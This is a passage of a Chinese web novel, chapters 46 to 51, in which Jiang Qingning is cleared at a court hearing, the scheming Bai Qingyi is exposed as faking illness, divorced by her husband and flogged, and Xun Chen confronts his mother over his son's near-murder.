想到这里,白清漪惊恐地抽回自己的手,哀戚地看着张礼,渴望寻求他的怜惜:“夫君……” “夫人还是做好自己的本分,在对着我家大公子喊夫君吧!” 张管家比张礼更加气愤,到底是张家的老管家,从小看着张礼长大的长者,此刻甚至有种整个张府头上都绿油油的感觉。 “你!”白清漪又惊又怒,惊的是张礼更加淡漠的神情,怒的是张管家对自己的无礼。 “表妹夫,你也应当好好爱护清漪,否则她怎会日日陪伴母亲孝敬长辈,而不去陪在你的身侧?” 荀臣冷哼一声,并不看重张礼,此人虽然貌若潘安,但性格着实冷得像堵寒冷的冰墙。 他曾经念着姻亲的关系,多次对张礼笑脸相迎,然对方从来都没将他放在眼里过,着实没教养又可恨极了! “姜小姐的请求在衙中并不少见,实属正常,本官准许你们辩论。” 承延无暇顾及这些人的恩怨,他在秦国公府夫人充满压力的目光下点头,在心底无奈一笑,抬手准许姜清宁的请求。 姜清宁起身,恭敬地躬身行礼:“多谢同知大人。” 白清漪没由来的心慌意乱,她紧紧地抓住小桃的手,后者明显地感觉到她逐渐抓紧的力道,被抓的皮肤划出道道红痕。 桃儿面色发白依旧稳稳地扶着白清漪,倒真是像极了忠仆。 “表哥,我好怕她。”白清漪红着眼眶,潸然泪下。 “表妹别怕,有我在你的身边,无论如何我都相信你。” 荀臣心中疼惜,态度对白清漪倒全是柔声轻哄,姜清宁则是只剩下更加冰冷的嫌恶。 “世风日下,世风日下啊!”张管家重重地咳嗽几声,嫌弃地不再观看。 姜清宁丝毫不在意她的刻意挑衅,别以为她没看到,白清漪每每和荀臣伤心地接触的时候,都会极其刻意的看她一眼。 “张夫人说自己在安神堂把脉,却偶然得知郊外有一株草药,能治疗安平伯身上的剑伤,不知是听谁说的?” 姜清宁似笑非笑,抬眼挑衅地看向白清漪。 白清漪心中慌乱,好在荀臣上前扶着她,才让她强行振作起来,她柔弱地解释。 “是那日的坐堂大夫,我回府后身子不好,婆母便让张管家带我去诊脉,不过我问大夫的时候张管家没有很靠近,我便不确定他能不能听得到。” 张管家被点名,张管家很无辜,张管家冷哼一声。 刁钻恶心的毒妇,就会使用他当证人! 可是大公子不发话,他根本不敢应声,只能老实在原地装鹌鹑。 姜清宁阴阳怪气:“张夫人和安平伯当真是情分非他人所能比拟,怪不得在安平伯府只允许别人喊你白夫人,却不许喊张夫人呢。” 第四十六章愚蠢 张管家听到顿时急了,他什么都顾不得,大步上前,扑通一声跪在地上。 “启禀同知大人,老奴便是夫人口中的张府张管家,但当时老奴紧紧跟在夫人的时候,就只有拿药时离开了片刻!” “当时老奴亲耳听着大夫的诊脉,其中夫人并未提到安平伯的伤势,大夫更没说京郊会有草药!” 白清漪神情慌张,在荀臣征询的眼神中,她转身不可置信地开口。 “张管家,你我主仆八年,你为何要帮着外人对付我?我可有哪里对不住张府的?” 那可真是太多了。 张管家垂着眸心想,他恭敬道:“老奴虽然是个粗人但所言句句属实,法理之外近乎人情,夫人不如如实说来,也好过稍后牛头对不上马嘴的好,” 白清漪哀戚的垂泪,紧紧拽着荀臣的胳膊:“表哥,这明明是昨日的坐堂大夫亲口所说,我对表哥绝无欺骗啊。” 荀臣握住她的手,低声道:“表妹,你放心,我相信你。” 姜清宁抬手鼓掌,看向承延:“有劳同知大人请人证上来了。” 承延点头,一个眼神给向王衙役,后者立刻去后堂带上坐堂大夫。 “带人证!” 随着一声叫喊,坐堂大夫恭敬地走到众人前,无视白清漪惊骇的目光,他弯腰下跪,神情格外的诚恳。 “安神堂坐堂大夫刘犇见过同知大人、这位夫人、安平伯、张大人、姜大小姐、张夫人。” 姜清宁走到他的身旁,弯唇道:“不知刘大夫可还记得这位夫人?昨日午时前刻,您为这位张夫人把脉,可知道她都问了什么?” 刘大夫转身,将视线落在白清漪的身上,望着她阴狠警告的目光,看了眼张管家。 “回禀大人,当日张夫人前来诊脉询问身体能否诞育子嗣,我便为张夫人诊脉,却诊出她脉象平稳,依旧为少女的脉来,故而记得非常真切。” 在场的众人全部一惊,不可置信地看向站的有银河远的夫妻二人。 原本还不觉得他们之间有什么摩擦,但此时张礼神情冷淡,依旧一言未发,他们只能将目光转向白清漪。 白清漪脸色羞红,眸中闪过痛恨:“是,夫君并未曾碰过我。” 刘大夫颔首:“这就是了,并未同房我又能如何让张夫人你怀上身孕,于是只能给张夫人开了一副养身汤的汤药,但、询问别的话却是再也没有的。” 姜清宁快步上前,委屈开口:“刘大夫所言属实?方才张夫人可说,是您告知她郊外有草药,她去采药的路上被我故意推入水中导致日后不孕的。” “清宁当然不是怀疑您医术的意思,只是这事关清宁的清白,如若莫名其妙地担了这罪责,清宁也许才是真的要活不下去了。” 刘大夫点头表示理解:“您所言老夫自然理解,只是您不是被这张夫人诬陷为私逃的家奴押去沉河了吗?昨日您的丫鬟哭着来找您,没曾想真的回去搬到了救兵啊。” “清宁福大命大,被扔入江中依旧保存性命,被冲入京城的护城河之中,这才得以被人捞了上来,城西桥的百姓都是亲眼所见。” 姜清宁开口解释,言语之中满是无奈。 “你胡言乱语!分明是你嫉妒我与表哥感情好,这才蓄意地构陷我,甚至买通了这老家伙一起诬陷!” 白清漪尖叫一声,崩溃的开口,仿佛世间所有的不公,都全部尽数地降到了她的身上一般。 心惊肉跳的白清漪眼前一黑,直接跌坐在地。 荀臣连忙将人扶住,护在怀里才没让白清漪躺在地上,他看着昏迷不醒的白清漪,冷眼看着姜清宁。 “姜清宁!事到如今你满意了吗,表妹因为你变成这幅模样,你还有什么要说的?” “自然还是有话要说的,既然张夫人怀疑我买通刘大夫,那章太医也在此,刚好张夫人晕倒不如让章太医为其诊治?” 姜清宁看了眼脸色铁青,俨然是被气到了的刘大夫,望向一旁和秦国公夫人坐在一列的章太医,满上带着淡淡的笑意。 “章太医是太医院的院判,有这位坐镇诊脉,总不会有人不分青红皂白地怀疑我买通了太医吧?” 姜清宁这话问得掷地有声,令荀臣脸上青一阵红一阵的,明显就是被姜清宁气的。 荀臣冷哼一声,却知道不能拿白清漪的性命开玩笑。 他的表妹这么善良,怎么会是这老头口中的恶毒妇人。 荀臣望向章太医,神情严肃:“还请章太医为我表妹诊脉,刚好为她开一副治疗身体的良药,拜托了。” 承延颔首:“今日请您过来,就是为了给这位张夫人诊脉,和原先说的一样除去帮忙治疗难孕外,现在这受惊也就劳烦您帮着一起看了吧。” 闻言,章太医这才起身,拱手道:“既然是同知大人的吩咐,那老朽自然愿意做。” 章太医虽然是官员,比不得荀臣还有安平伯的称号,但他看了这么久,倒是看出了些许名堂。 这张夫人不仅装病诬陷人不说,竟然还污蔑他们医者会被钱财所收买。 所谓医者仁心,除非刀架在脖子上才会犹豫,那旁的是丝毫不会犹豫的。 “刘大夫不若先行诊断,也让老朽看一看您的医术如何。”章太医看向刘大夫,做出请状。 刘大夫知道这是在为自己证明,便没有开口推辞,他走到白清漪的身旁,从袖中一旁的医药箱里拿出工具,开始安静地诊脉。 直到听到白清漪铿锵有力的心跳,刘大夫顿时反应过来,白清漪所做的一切不过是在装病,而所谓的难以有孕更是为了打压姜清宁的借口。 “我已经诊脉完,便先不说判词了,省得误导您,章太医请。”刘大夫退后一步,眉眼间尽是嘲讽。 章太医心中顿时有了计较,他仔细地把脉之后,看着这壮的快比上牛犊的人,心情不无复杂。 这怎么比宫里的虞美人还要愚蠢,连装病都装不明白。 第四十七章休妻 章太医和刘大夫对视一眼,走到一旁二人说了几句专业话,随后刘大夫深吸一口气,满心的不忿就要表达出来。 他大步地上前:“启禀同知大人,这张夫人分明是在装病!她的脉象如此有力,绝非体弱多病之人,又如何会因为泡了个春日的冷水就难以有孕呢?” 荀臣皱眉:“怎么会,表妹自幼便体弱多病,你定然是诊错了脉,庸医!” 刘大夫不可置信的抬眼,气得双手颤抖地指着荀臣,却因为是个读书人,半晌骂不出一句难听的话来。 章太医狠狠皱眉,他走出行礼道:“启禀同知大人,我可为刘大夫证明,他的所言全部属实!” 此话一出,在场的所有人都震惊不已。 白清漪手指微动,一切都被姜清宁看在眼里。 姜清宁惊疑不定地开口:“没成想到头来受骗的确实她最信任的人,也不知道张夫人做出这一出戏来,竟然只是为了将我打入无间地狱。” “还请同知大人为我做主,我婚后曾受此人多年迫害,蛊惑安平伯老夫人多次针对与我,又曾惦念我的嫁妆,在我出府之后还多加阻拦,如今更是要致我于死地,请大人明查!” 话音落下,姜清宁难以接受般,直接跌坐在地,神情失落眼眶含泪,好不可怜。 荀臣怒不可遏,狠狠瞪着姜清宁,口中尖酸刻薄的话脱口而出。 “姜清宁,你从前边嫉妒我对清漪好,如今更是买通这些人为难她,你究竟居心何在!难不成非要看我荀家家破人亡吗!” 姜清宁讥讽地扯了扯嘴角,她放在的柔弱是展现在大众面前的,却不是在向他荀臣卖惨,难不成他当真以为,自己没了他就会活得不成人样吗? “安平伯当真是‘清官难断家务事’,我没想到你竟然知道自己偏心白清漪,而我曾经是你的妻子,为你生儿育女掌管家务,八年来没换来你一句的辛苦。” “如今白清漪被揭露装病,你却从心底不愿意相信,究竟是你对我从未有过信任,还是你对自家的表妹别有用心?!” “姜清宁!”荀臣怒不可遏,高高地抬起自己的手,就要掌掴姜清宁。 姜清宁竖眉冷对,将她的气势十足十的放出来,丝毫不畏惧荀臣的架势。 “啪!”姜清宁狠狠地甩了荀臣一个耳光。 承延和秦国公夫人惊愕地站起来,似乎是没想到眼前竟然会呈现这样的场景。 张礼禁锢着荀臣扬起的手腕,结结实实地挨了姜清宁一个巴掌。 姜清宁诧异地抬眸,红着眼眶和张礼对视,眼中浮现不解。 他不是白清漪的相公吗?为何会偏向她?难不成是荀臣和白清漪实在太猖狂,让他受不了这顶绿帽子了? “姜清宁!你竟敢殴打我儿!我之前怎么就没打死你呢!” 安平伯老夫人步入府衙,看到这一幕直接震惊住,反应过来快步地跑上前,就要还手狠狠地掌掴姜清宁。 “刘嬷嬷,上!”秦国公夫人拍案,刘嬷嬷瞬间大步上前,直接将安平伯老夫人推得一个仰倒,摔在荀臣的身侧。 “母亲!”荀臣用力抽回手腕,一手扶着幽幽转醒的白清漪,一手扶着摔倒在地的安平伯老夫人。 “哎呦!我的腰啊!岂有此理,你一个奴仆竟然敢殴打伯爵的母亲!我要告御状!我要让你碎尸万段!” 安平伯老夫人哀嚎着坐起身,愤恨不平地指着刘嬷嬷,眼中简直快要喷出火来。 荀臣心头猛地一跳:“母亲,您先少说两句吧。” 突然浮现出的心慌让他有些难受,只能暂时先控制住发怒的母亲,好言相劝的荀臣并没有让他母亲老实下来。 “臣儿!母亲何时吃过这种苦!难不成你就看着我被人欺负吗?” “母亲,您先少说两句。”荀臣焦急道。 “表哥?姨母这是怎么了?”白清漪看着眼前的一幕,心中惊疑不定,她茫然地抬眼,和眼神冷漠的张礼对视,连忙爬出荀臣的怀抱。 她方才是真气上加慌被逼得晕了过去,但潜意识中还是存在一些意识,能听到姜清宁打了表哥一巴掌,却没想到张礼竟然上前。 “夫君,我和表哥当真是清清白白的,还请夫君看在我多年照料府邸,侍候母亲的份上原谅我一回吧!” 白清漪哀求着抬眼,可怜兮兮地拽着张礼的衣袍,她自从在张礼面前暴露心事之后,便再没了能和他打擂台的资格。 刘嬷嬷冷哼一声,站出来道:“世风日下,竟然让我们家夫人看到这肮脏的一幕,当真是脏了夫人的眼,你说你要告御状?明日我们夫人便要入宫和皇后娘娘相聚,不如就带上安平伯老夫人一同吧,省得您在走那么多的流程,等您告御状啊,那黄花菜都凉了!” 安平伯老夫人顺着视线,看到一旁端坐着的贵妇人,眼尖地看出这些衣衫首饰是她从来都不舍得买的,唯一能和这贵妇人头上玉钗媲美的,还是姜清宁当初嫁入府中第一日孝敬的首饰。 她爱戴极了,可是担心磕了碰了,唯有每年的生辰日,才舍得带上一回。 “不、不是,我没有这样说。”安平伯老夫人连忙摇头。 秦国公夫人不屑地斜睨她一眼,眼神扫向张礼:“本夫人听说你是个出色的青年才俊,怎么娶了个这样败坏家风的女人,难不成也是被欺骗了?” 张礼敛眸,坚定地开口:“我与家母说错了,致使自己娶错了人,让您笑话了。” 秦国公夫人颔首,怜惜道:“怪不得,二十多岁都没个儿子,看来你对那姑娘当真是情真意切,只可惜八年过去恐怕早已嫁作人妇。” 白清漪恍如晴天霹雳,她踉踉跄跄地站起身,不可置信地看着张礼,眉眼中全然是惊愕转为愤恨。 “你想娶的女子不是我?” “你想嫁的更不是我。”张礼淡漠地看她一眼,眼神发冷,“昨日之事张管家已告知我全貌,你品行败坏,不适合再做张家妇。” “待今日回府,我会请父亲母亲与族中长辈入府来做见证。” 白清漪眼神警惕:“你要做什么?” 张礼收回视线,冷漠道:“休妻。” 第四十八章应有的惩罚 白清漪恍如晴天霹雳,不可置信地望着他。 随后她无声地笑了,站在原地笑得心肝都疼,笑声越来越大甚至带着凄厉。 “你娶错了人,为何要休了我?张礼你毁了我的一辈子,如今凭什么还要休了我!” “我虽然误娶了你,却从未亏待过你,八年来锦衣玉食,从未有过一日差漏。” “白清漪,是你痴心妄想作恶多端,毁坏她人清誉,甚至凭借一己私欲要将别人沉塘。” “如此狠毒妇人,罪犯七出,休妻已是怜悯。” 张礼沉默地看向她,对方神情癫狂,隐约中带着疯魔的意味。 他娶错了人,但白清漪也有心上人,甚至多次为张府的清誉带来损坏,这么多年的纵容已经到了头,张府从不亏欠白清漪。 白清漪被张礼的话句句刺穿心脏,他满脸的事不关己高高挂起的神态,让白清漪崩溃不已。 “我曾想过与你好好过日子,是你因为我的一句酒后失言,便对我百般冷落,你永远都对不起我!” 白清漪抬手拔下头上的簪子,转身向看戏的姜清宁刺过去,姜清宁心中一紧连忙闪身。 不远处直直地飞来一柄剑鞘,将白清漪手中的簪子砸落,人也跌坐在地,瞬间被两个衙役冲上前压制住。 “大理寺卿秦大人到——!!!” 姜清宁诧异地转身看去,秦休面色冷冽的出现在她的视野之中,此时他的手中提着一柄长箭,眼神锐利的直射向跪在地上的白清漪。 堂中的众人已经被震惊到,尤其是安平伯老夫人反应过来,顾不得身上的疼痛,连忙拽着荀臣后退。 仿佛是从未见过这样的白清漪一般,荀臣眼中带着怜悯,他语气沉重道:“表妹,你为何变得这般狠心了,姜清宁她都对你做了什么?” 姜清宁突然被点名,愣神地看向荀臣,她从前是脑子被驴踢了吗,怎么会看上这个傻逼玩意儿? 白清漪被压着,艰难地抬头:“表哥,都是姜清宁害我,是她害我!我是无辜的!” “肃静!”承延抬手拍案,眼前瞬间变得安静起来,他起身走下台阶,对这秦休行礼。 “秦大人,不知此刻所来可谓何事?” “做人证,姜清宁昨日被绑,她的婢女回府求助之时,偶遇我的随侍,他知道这件事的经过。” 秦休颔首,示意青之站出来,青之上前躬身道:“昨日之事已经有了眉目,我家大人搜集了昨日所有看到这件事路人的证词,连同青之的这份都在其中,呈给同知大人观看。” 承延当即接过,低头仔细的一一看过,随后扫了眼白清漪,眼神复杂不已。 “带安平伯府的下人们!”承延冷声吩咐。 “这……这就不用了吧?”安平伯老夫人弱弱的开口,却在秦休与承延看来的时候,瑟缩脖颈。 不多时,六位丫鬟小厮站在众人面前行礼。 荀臣面上满是矜傲,安平伯府的下人全部都是家生子,自然不会徇私舞弊,只待片刻就能将姜清宁的真面目揭露出来。 届时看她怎么解释! 荀臣满脸自信,示意他们开口:“你们站出来说,姜清宁和白夫人在府中是如何对待你们的,姜清宁是否言行无状,处处顶撞婆母,针对我表妹?” 几位下人互相对视,眼神之中满是犹豫。 秦休冷静开口:“你们只管如实说来,若是实话实说,即便说出来是会得罪主人,在律法面前都能为你们还回自由身。” “姜小姐的确带我们与其他主子不同,我们从来没见过这么善良的主子,若是白夫人方才对贵人们说了什么,那绝对是万万不可相信的!” “春日的新装、夏日的茶汤、秋日的赏银、冬日的炭火棉衣,这都是姜小姐入府前我们从未有过的待遇。” “老夫人和白夫人经常惩罚我等,但姜小姐看到之后就会命人禀告老夫人,为我们解除惩罚。” “她实在是冤枉的,这八年来姜小姐并不好过,每每吃府中的饭菜还要自己掏银子,那京郊外破败漏风的道观一住就是三年。” “白夫人时常在老夫人耳边吹耳旁风,她们一直都在点击姜小姐的嫁妆!” “老夫人日日苛责,姜小姐每日都要立规矩,打理府中内务,自己掏银子补贴库房,少说也花了上千两银子却不被待见……” “住口!胡言乱语!全部都是胡言乱语!母亲和表妹怎么会如此!” 听着下人们的你一言我一语,荀臣脸色越来越黑,随口怒不可遏地呵止住他们,下人们瑟缩着跪在地上发抖求饶。 “伯爷饶命啊!” 安平伯老夫人浑身一震,连忙上前:“这些人绝对被姜清宁这个贱人收买了,儿啊,你绝对不要相信他们的话!” 白清漪心如死灰,仅剩的希望全部消失不见,她苍白地抬眼望向荀臣,却被人挡住视线。 张礼捏着张管家送到手中的休书,父亲母亲已经知晓此事,派人加紧送来的,连过明路都不愿意了可见二老对白清漪是多么的厌恶。 “白清漪,今此修书一封,你与我张府再无瓜葛,从哪里来的就回哪里去吧。” 白清漪心口一紧,想要伸出手去拽张礼,迎来的却只有被挥到面前的休书,上面鲜红印泥盖上的手印赤裸裸地告知她已经被夫家休弃。 “夫君,你若是休了我,我就只有死路一条,被休弃的女子如何能活?” 白清漪神情哀伤,字字泣血。 “白清漪,这一切都是你的自作自受。”张礼冷声说完,抬手跟在场的人见礼,转身毫不犹豫地离去。 “不!”白清漪激动地挣扎,双眼含泪。 承延冷眼扫视她,直接下令:“毒妇白氏,祸心旺盛,心思狠毒,损毁她人清誉,蓄意谋害性命,当即打入牢房,杖刑一百,逐出家族贬为庶人,其家族罚银五千!” “不、不要、表哥救我!一百杖我会死的,表哥!” 荀臣背脊一僵,想要上前救人,却被安平伯老夫人死死拽住。 “你作甚!这是她应有的惩罚!” 安平伯老夫人惊慌失措的开口,经此一事,她已把对姜清宁的怨气,转移一半到白清漪身上,一点都没有好语气。 第四十九章怀疑母亲 秦休收回放在姜清宁身上的视线,眼神意味深长地看向一旁想要掩面的亲娘。 “……您怎么在这?”秦休在秦国公夫人疯狂的咳嗽声中,止住喊人的话。 “回府的路上看到人吵架,就跟着来看个热闹。”秦国公夫人尴尬地开口解释。 承延对这幅场景无奈,掩唇低笑一声,走到姜清宁的面前。 “姜小姐你放心,今日之事我会派人贴榜澄清,你这八年的苦楚会尽数公布出来,不会让你承受不白之冤。” 姜清宁神情感激:“多谢同知大人,若不是你的帮助,我恐怕过不了如今的快活好日子,今日府中还有要事先行回去处理,便不多留了。” 承延颔首:“当然,姜小姐请便。” 姜清宁行礼,走向秦休和秦国公夫人:“多谢秦世子今日前来作证,改日定当报答今日善言相助。” 秦休双眼一亮,抿唇道:“不必,本就是随口的一句话。” 姜清宁点头,将他的话放在心里,既然他都说不用了,那她自然乐得自在。 “今日还要感谢您的仗义执言,不知夫人的府邸所在何处,我想准备一份薄礼道谢。”姜清宁望向秦国公夫人,抬眸看着她。 秦国公夫人含笑:“不必,我们有缘的话自然还是会想相见的。” 姜清宁心中惊讶,未曾想今日出门见到的全部都是好人。 主仆二人离开京都府衙,坐上回府的马车,紫苏终于将放在身上的架子解开,清出了一口气。 “今日可算是大仇得报了,这白清漪先前整日为难咱们,昨日更是想要害死您,这等的狠毒妇人即便是被活活杖杀都是活该的!” “不过刚才真的是吓死奴婢了,您要是被人诬陷成功,紫苏定要一头撞到那柱子上,以正小姐的清白!” 姜清宁摇头,抬手捂住紫苏的嘴,满脸的不赞同。 “不要说这些胡话,同知大人为人正直善良,并且心系百姓清正无方,这等的好人绝不是以权谋私的人。” 她沉思片刻,眉眼俱是坚定:“不过白清漪这次可是死不了的,荀臣定然会救她,毕竟好表哥表妹的他们已经喊了几十年,想必白清漪方才的几句哭诉,定然让荀臣以为白清漪当真是世界上最无辜单纯的人。” “他们可真不够害臊的!”紫苏恨得咬牙。 …… 宁阁。 晌午,紫苏快步跑入姜清宁的房中,震惊的看着她,满脸的惊叹不已。 “大小姐当真是料事如神,果然和您说的别无二致!” “什么别无二致,阿姐和紫苏说什么了,这么神神秘秘的?” 姜清晞爱凑热闹,抬步跑到房内,边啃果子边问道,满脸的好奇。 姜清宁轻笑一声,“没什么,不过是紫苏说白清漪这次罪有应得,我说荀臣定然会救她罢了。” 紫苏连忙附和地点头,“大小姐好生的厉害,方才奴婢好奇寻人去打听,结果府衙的张衙役说安平伯在白清漪行刑之后,交了罚金将人领走了,还是拍了嬷嬷好生的抬回安平伯府地。” “明明白府得知此事后,已经明言白清漪名节尽失,不会再认下这个女儿,选择将白清漪逐出家门。” “可偏偏安平伯等候在京都府衙外,又是掏银子打点让里面的衙役们手下留情,又是忙着让下人准备赎金,这才给白清漪留了一口气被安平伯接走。” “现如今京城人人唏嘘安平伯的用情至深,说是大小姐阻挡了二人的婚事,否则表哥表妹当真是天造地设。” 姜清宁勾唇:“她因为我才遭受到如今的这些,来日绝不会轻易地就此作罢的。” 姜清晞眼神狠戾,“此次白清漪不死,他日定是一个祸害,阿姐放心,今夜我就去安平伯府除了这个事儿精!” 姜清宁连忙揽住她,眼中满是不赞同,“阿姐和你说了多少次了,遇事不要冲动,要三思而后行,兵来将挡水来土掩。” “无论白清漪日后怎样的报复回来,那也要她先养好身子再说。” 紫苏连忙点头附和:“大小姐说的是,这次白清漪伤得极重,没个百十天断断是下不来床的,二小姐莫要再去安平伯府动手了,不然大小姐可就真的要生气啦。” “这件事不许再提,即便日后我和她发生什么,你都不许插手,阿姐有自己的打算,听到了吗?”姜清宁蹙眉,警告满脸不忿的人。 姜清晞承受着姜清宁的眼神压力,无奈地点头,“好了好了,我都听阿姐的。” 可怜无辜的神情,让姜清宁和紫苏相视一笑。 安平伯府。 白清漪面色苍白地趴在床上,秀丽的眉头微微蹙起,即便是睡梦中,都能疼得缓不过来劲儿。 “臣儿,即便是心软随便找个院子安置一下也行,可你为何要将清漪接回来啊,现在京城人人流传你对清漪余情未了,你让母亲怎么帮你再娶一门贤妻啊?” 安平伯老夫人唉声叹气,似乎能透过房屋见到里面的人。 “母亲,清漪是我的表妹,如今她被迫沦落到如此境地,我怎么能够对她不管不顾?” 荀臣眉眼中充斥着不悦,对于安平伯老夫人的话语极为不赞同。 “可是母亲为你已经商谈好一家高官的嫡女,如今你这一消息传出去,方才人家还传来消息,说婚约要不暂且作废!” “这是明摆着不想要再和咱们家结亲啊!” 安平伯老夫人怒从心中来,指责荀臣:“若知是今日的结果,母亲宁愿你与姜清宁没有和离!” “母亲!”荀臣的逆鳞被触及,他转身冷喝,“既然您执意要谈,那儿子刚好有一事要询问母亲。” “什么事?”安平伯老夫人诧异。 荀臣面色淡漠,眸中充斥着审视:“母亲昨日带着莫离出府探望表妹,之后可曾带着莫离回来?” 安平伯老夫人心虚垂眼:“自然是跟着回来的,不过回程的路上我那时候满心满眼都是清漪,自然没有对他过多的进行关注。” “你问这话是什么意思,难不成如今都不让莫离和母亲亲近了,是不是姜清宁又说了什么母亲的坏话!” 荀臣一言不发,黑眸平静地盯着安平伯老夫人。 第五十章“美梦”成真 安平伯老夫人疑惑不解,但对荀臣不回答的模样隐约猜测出几分。 她顿时恼怒不已,站在荀臣面前愤恨极了。 “果真,我就知道姜清宁更是个罪大恶极的,亏我方才还说了她两句好话!” 安平伯老夫人面色狰狞,恨不得姜清宁此刻出现在她的面前,她都能亲手把姜清宁撕成碎片,以解自身的愤恨。 “臣儿你放心,李家小姐看不上你是她没福分,母亲定然会在为你从头择一门好妻子,为咱们安平伯府光耀门楣的!” 荀臣脸色淡极了,垂眸转身不再看她,“此事的确和姜清宁有关,仔细说来母亲应该感谢姜清宁才是。” 安平伯老夫人诧异不已,“臣儿,你都在说什么胡话啊,母亲为何要感谢姜清宁这个毒妇,你可知道她平日里是怎么顶撞……” 荀臣深吸一口气,压制着满腔的怒火。 “到底是姜清宁真的一直顶撞母亲,还是从头到尾这些都是母亲一人的遐想?今日京都府衙之上家中的仆人已经全部实话实说,您难道还要再一错再错吗!” 荀臣气的胸膛起伏,若非母亲执意地诉说姜清宁的不好,他又怎么会变成如今的这幅模样,姜清宁又怎么会在失望攒够之后和离。 脑海中回想起这八年来,他对姜清宁日日冷脸相待,冷嘲热讽,每每见到都是指责她的不孝。 甚至他们一家三口用的最后一顿饭,都是以他摔了饭碗,指责她做的食物不合胃口为由,毫不犹豫地起身离席。 安平伯老夫人不可置信,随后猛地甩了桌面上的茶盏,瓷器摔到地上,噼里啪啦的甚是骇人。 “你就是这么顶撞你的生身母亲的吗?母亲生你养你,独自一人辛苦地守着家业,将你拉扯长大成人建功立业,你的一切都有母亲的恩情在身!” 荀臣怒不可遏:“我知道母亲辛苦,但您不应该把自己的辛苦加注到姜清宁的身上,甚至不顾世人眼光地图谋她的嫁妆,她这八年来从未吃过安平伯府一口饭喝过安平伯府一口水,母亲终日戴着穿着的可都是姜清宁送的东西!” 安平伯老夫人浑身一抽,跌坐在椅子上,颤抖着伸出手指着荀臣。 “你大逆不道!我这么做都是为了什么啊,还不是为了你好,安平伯府偌大的家业怎么能没有银钱傍身,姜清宁她一个女子即便是另立门户又需要多少银钱,母亲都是为了安平伯府,为了你和莫离好!” 安平伯老夫人气得浑身颤抖不停,她八年多年以来辛苦的筹谋,都是为了这个家,结果到头来还要被唯一的亲生儿子指责。 若是没有银钱哪来的资格再为荀臣娶高官之妻,将来荀莫离哪来的钱下聘,他们家日后还会有许许多多的嫡孙重孙出生,偌大的门楣等着振兴。 荀臣什么都不懂!什么都不懂! 荀臣闭上眼,长出一口气,平静地询问。 “可是儿子若是说昨日莫离并未回府,而是被人坑骗出张府寻找姜清宁问罪,意图在他出府后将莫离丢到悬崖底下害死他,用来离间我与姜清宁的关系!” “儿子想要知道,那个时候母亲在干什么,为什么会一整天都没有发现莫离的踪迹不见了?” “什么?绝无可能!昨日奶娘从头到尾都跟着莫离!我、我昨夜睡前还派人问了莫离的状况!” 安平伯老夫人连忙站起身,理不直气很壮地开口解释,她不过是看到荀莫离就想到姜清宁,所以并未在意他的情况,但还是让人照顾了的。 “也就是说,您昨日只有出府时见到了莫离?儿子在外带兵打仗,常年救灾,将府中大小事务放心地交给母亲,没曾想到头来害的却是自己的亲生儿子。” 荀臣狼狈地闭上眼睛,不敢再去想姜清宁嘲讽的神情。 “莫离呢?莫离在哪,我当真是不知道的啊,臣儿啊,母亲昨日只是回府太累了想要早些歇息,才会没有亲自传唤莫离来的。” 安平伯老夫人紧张的望着荀臣,抬手抓住他的衣袖,哀求的解释。 “昨日若非莫离去找姜清宁时,被她察觉不对询问了莫离几句,留了心思抓到那个意欲行凶的车夫,恐怕母亲现在看到的就已经是、莫离的尸首了。” 荀臣满脸冷漠地抽回自己的宽袖,不顾安平伯老夫人惨白的脸色,毫不留情的走出房门,只留下一句冰冷无情的话语来。 “母亲与其现在后悔懊恼,不如趁早为儿子寻一门贤良的妻室照顾莫离,这次母亲就不要请求名门贵女了,安平伯府娶不起儿子也无法恭维,否则儿子断不会再轻易地敢离开京城了。” “臣儿!” 安平伯老夫人跌坐在地,望着荀臣绝情离开的背影,不禁留下懊悔的眼泪。 “咳咳……姨母……” 白清漪虚弱地睁开眼,朝着外间的人伸出手。 小桃连忙扑上去,泪流满面地唤她:“小姐,您终于醒了小姐。” 白清漪睁开眼望着房内熟悉的装潢,松了口气放心地趴在床上。 幸好回到的是她从前在安平伯府一直住着的房屋,好在表哥对她足够多的怜惜之情,否则她早已没有翻身立足之地,这一次是她棋差一着,但绝不会甘心输给姜清宁。 安平伯老夫人擦完眼泪爬起来,快步走到内室,眼中闪过厌恶,语气不善地回怼白清漪。 “你还有什么话好说的,我如此真心待你,你却想要害我安平伯府唯一的孙子,现在你因为杖行彻底毁了身子无法生育反倒是报应!” “我家臣儿可怜你才收留你,但你休想再有别的心思,否则我绝对容不下你!” 白清漪愣神,不可置信地抚上小腹,脸色苍白地看向小桃,她……竟然真的不能再生了? 小桃忙劝导:“小姐您一定不要太过悲伤,您还年轻,天底下名医多的是,咱们多寻一寻定然有解决之法的!” “我不能生了……” 那她守了这么多年的身子,到底是在图什么,她该如何留住表哥? 她定要翻身,必须要翻身! 白清漪苍白地扯了扯嘴角,轻声道:“姨母当真以为这是清漪的手段吗?清漪在您身旁服侍多年,怎会背叛姨母呢?” 第五十一章紫苏解释 安平伯老夫人神情一肃,面色瞬间变得难看起来。 “白清漪,事到如今你还想将脏水泼到别人的身上吗?” “姨母,清漪当真是冤枉的,您千万别让别有用心的人,成功挑拨你我的关系啊!” “没准是姜清宁她想要挽回表哥的心,但是却苦于无法,所以才出此伎俩针对清漪啊!” 白清漪满脸的委屈,泪流满面的模样,引得安平伯老夫人忍不住心疼。 但安平伯老夫人只要一想到荀莫离,因为她的失误险些出事,荀臣差点一辈子恨上她,就瞬间对面前的白清漪愤恨不已。 因为只有她知道,平日里白清漪就没少在自己的身边,错窜着她针对姜清宁。 从前她只当白清漪是因为尊敬她,所以和她一起不喜欢姜清宁,因此还对她多加疼爱,对这个远房亲戚的女儿视若己出。 但如今,得知白清漪仍旧是处子之身,并且和荀臣光天化日,朗朗乾坤之下搂搂抱抱。 安平伯老夫人才意识到不对劲,白清漪这是对荀臣有心思,所以才会日日出入安平伯府,甚至长久地陪伴在她的身边。 “你敢说你对我儿没有心思?” 老夫人眼神锐利,仿佛已经看透一切,她毫不犹豫地放下狠话。 “从前你是个出嫁妇人,我不会往别处想,但如今你已经被张家休弃,我是断不会让你再接触臣儿身边!” 白清漪心中焦急,暗恨这老妇如今怎么像是长了脑子一样,全然没有之前的好骗。 殊不知,老夫人只是被自己的儿子骂怕了。 “姨母想要怀疑清漪,并且因为莫须有的罪名驱逐清漪,那清漪无话可说。” 白清漪苍凉的轻笑一声,几滴泪顺着眼角滑落,衬得面色愈发苍白,她满眼无助地抬头。 “不若姨母现在就命人把我赶走吧,否则我终日待在院子里,表哥心善担心我来探望,只会让他人误解传出留言,引得姨母与表哥母子不悦。” 